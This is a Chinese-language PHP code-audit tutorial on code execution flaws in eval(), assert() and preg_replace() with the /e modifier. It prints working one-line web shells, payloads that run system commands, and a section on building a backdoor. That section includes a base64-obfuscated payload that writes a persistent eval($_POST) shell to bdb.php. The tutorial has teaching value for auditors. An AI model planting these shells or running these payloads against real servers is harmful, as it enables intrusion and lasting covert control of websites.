PHP代码审计之代码执行(一)
代码执行漏洞成因是由于函数使用不当,本文主要解析造成代码执行的成因
eval()
eval()函数会将传入的字符串当作PHP代码来执行
eval(string $code)
示例:
<?php
$code='phpinfo();';
eval($code);
?>
常见的一句话
<?php
@eval($_REQUEST['pass']);
?>
执行系统命令payload:
?pass=system('whoami');
assert()
assert — 检查一个断言是否为 FALSE
PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
示例:
<?php
$code = "system(whoami)";
//$code="phpinfo()";
assert($code);
?>
一句话:
<?php
@assert($_REQUEST['mm']);
?>
执行系统命令payload:
?mm=system(whoami)
preg_replace()
参考:https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day8/files/README.md
preg_replace — 执行一个正则表达式的搜索和替换
说明
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索subject中匹配pattern的部分, 以replacement进行替换。
参数
pattern
要搜索的模式。可以使一个字符串或字符串数组。
可以使用一些PCRE修饰符。
e (PREG_REPLACE_EVAL)
Warning:这个功能在PHP 5.5.0开始被建议禁用,在PHP 7.0.0后被弃用
当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:’、"、 \ 和 NULL) 然后进行后向引用替换。在完成替换后, 引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。
用简单的例子进行对比:
echo $_REQUEST['test'];
preg_replace('/test/e',$_REQUEST['test'],'just for test');
等价于:
eval($_REQUEST['test']);
示例:
<?php
$html = $_REQUEST['html'];
// uppercase headings
$html = preg_replace(
'(<h([1-6])>(.*?)</h\1>)e',
'"<h$1>" . strtoupper("$2") . "</h$1>"',
$html
);
?>
payload:
?html=<h1>${phpinfo()}</h1>
strtoupper("$2")中使用了双引号,由于PHP的可变变量特性,将双引号中的变量会被解析。
示例:
<?php $a="${phpinfo()}"; ?>
<?php $a="${phpinfo()}"; ?>
制作后门:
<?php
preg_replace('/test/e', $_REQUEST['h'], 'just for test');
?>
payload:(也可以用加密的方式写入的一句话)
fputs(fopen("bb.php","w"),'qawaasdadss');
fputs(fopen(base64_decode('YmRiLnBocA=='),"w"),base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ20nXSk7Pz4='));
//base64_decode('YmRiLnBocA==') ==>bdb.php
//base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ20nXSk7Pz4=')==><?php eval($_POST['m']);?>